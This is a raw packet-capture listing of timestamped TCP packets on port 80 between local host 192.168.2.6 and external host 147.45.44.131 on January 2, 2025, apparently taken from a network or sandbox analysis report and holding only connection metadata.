Jan 2, 2025 19:14:16.401890993 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401907921 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.401958942 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.401958942 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.402163982 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.402170897 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.402183056 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.402189016 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.402194977 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.402220011 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.402299881 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.402306080 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.402318001 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.402322054 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.402328968 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.402334929 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.402359962 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.402462959 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.402468920 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.402487040 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.402493954 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.402499914 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.402504921 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.402504921 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.402504921 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.402513981 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.402525902 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.402539015 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.402580023 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.402580023 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.402631044 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.403599977 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.404361010 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.404376030 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.404381037 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.404458046 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.404458046 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.404469967 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.404476881 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.404489040 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.404494047 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.404500008 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.404515028 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.404521942 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.404537916 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.404573917 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.404573917 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.404611111 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.404616117 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.404622078 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.404627085 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.404633045 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.404648066 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.404686928 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.404706955 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.404711962 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.404727936 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.404741049 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.404767990 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.404815912 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.404822111 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.404834032 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.404839993 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.404854059 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.404998064 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.405711889 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.405747890 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.405752897 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.405759096 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.405765057 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.405814886 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.405821085 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.405826092 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.405864000 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.405905008 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.405910015 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.405935049 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.405985117 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.406037092 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.406043053 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.406049013 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.406060934 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.406063080 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.406068087 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.406114101 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.406349897 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.406852007 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.406995058 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.406996012 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.407004118 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.407016039 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.407021046 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.407033920 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.407036066 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.407052040 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.407058001 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.407069921 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.407074928 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.407080889 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.407085896 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.407093048 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.407097101 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.407097101 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.407098055 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.407097101 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.407105923 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.407114029 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.407120943 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.407162905 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.407162905 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.407201052 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.407272100 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.407277107 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.407289028 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.407293081 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.407363892 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.408345938 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.409297943 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.409423113 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.409432888 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.409439087 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.409444094 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.409456015 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.409461975 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.409466982 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.409487009 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.409538984 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.409919977 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.409926891 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.409938097 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.409944057 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.409950972 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.409961939 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.409967899 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.409984112 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.410022974 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.410177946 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.410183907 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.410196066 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.410248041 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.410254955 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.410258055 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.410267115 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.410273075 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.410279036 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.410315990 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.410324097 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.410345078 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.410368919 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.410408974 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.410414934 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.410427094 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.410432100 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.410438061 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.410443068 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.410449028 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.410468102 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.410586119 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.412264109 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.412290096 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.412296057 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.412314892 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.412328005 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.412333965 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.412364006 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.412364006 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.412369013 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.412379980 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.412396908 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.412398100 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.412431002 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.412435055 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.412457943 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.412463903 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.412472010 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.412508965 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.412518024 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.412530899 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.412534952 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.412540913 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.412583113 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.412586927 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.412586927 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.412647963 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.412657022 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.412661076 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.412681103 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.412688971 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.412693977 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.412739038 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.412758112 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.412776947 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.412782907 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.412795067 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.412800074 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.412806034 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.412811041 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.412848949 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.412913084 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.412950993 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.412956953 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.412964106 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.412969112 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.412975073 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.412981033 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.412992954 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.412998915 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.413033009 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.413044930 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.413044930 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.413069010 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.413094997 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.413131952 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.413175106 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.413187981 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.413193941 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.413206100 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.413213015 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.413256884 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.413256884 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.413295031 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.413306952 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.413312912 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.413317919 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.413325071 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.413336039 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.413341999 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.413352013 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.413363934 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.413410902 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.413434029 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.413465977 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.413503885 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.516345978 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.516407013 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.516412020 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.516418934 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.516433001 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.516438961 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.516450882 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.516473055 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.516505003 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.516535997 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.516540051 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.516542912 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.516556025 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.516613960 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.516613960 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.516621113 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.516628981 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.516633987 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.516639948 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.516680956 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.516696930 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.516716957 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.516731977 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.516760111 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.516765118 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.516771078 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.516774893 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.516804934 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.516810894 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.516823053 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.516832113 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.516838074 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.516843081 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.516844034 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.516874075 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.516874075 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.516881943 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.516953945 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.516957045 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.516962051 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.516973019 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.516978979 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.516983032 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517014980 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.517018080 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517024994 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517031908 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517035961 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517057896 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.517127037 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517132044 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517136097 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.517148018 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517153978 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517191887 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.517206907 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517220020 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517232895 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517237902 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517244101 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517257929 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.517297983 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.517297983 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.517337084 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517343044 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517355919 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517362118 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517427921 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.517436981 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517442942 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517455101 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517460108 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517467022 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517477989 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517483950 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.517483950 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.517556906 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.517556906 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.517586946 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517601013 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517607927 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517612934 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517618895 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517739058 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517745018 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517750978 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517764091 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517770052 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517772913 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.517781973 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517824888 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.517908096 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517915010 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517921925 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517927885 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517935038 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517940998 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517961979 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.517961979 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.517966986 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.517991066 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.518079996 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.518269062 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.518275976 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.518281937 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.518287897 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.518328905 CET	80	49727	147.45.44.131	192.168.2.6
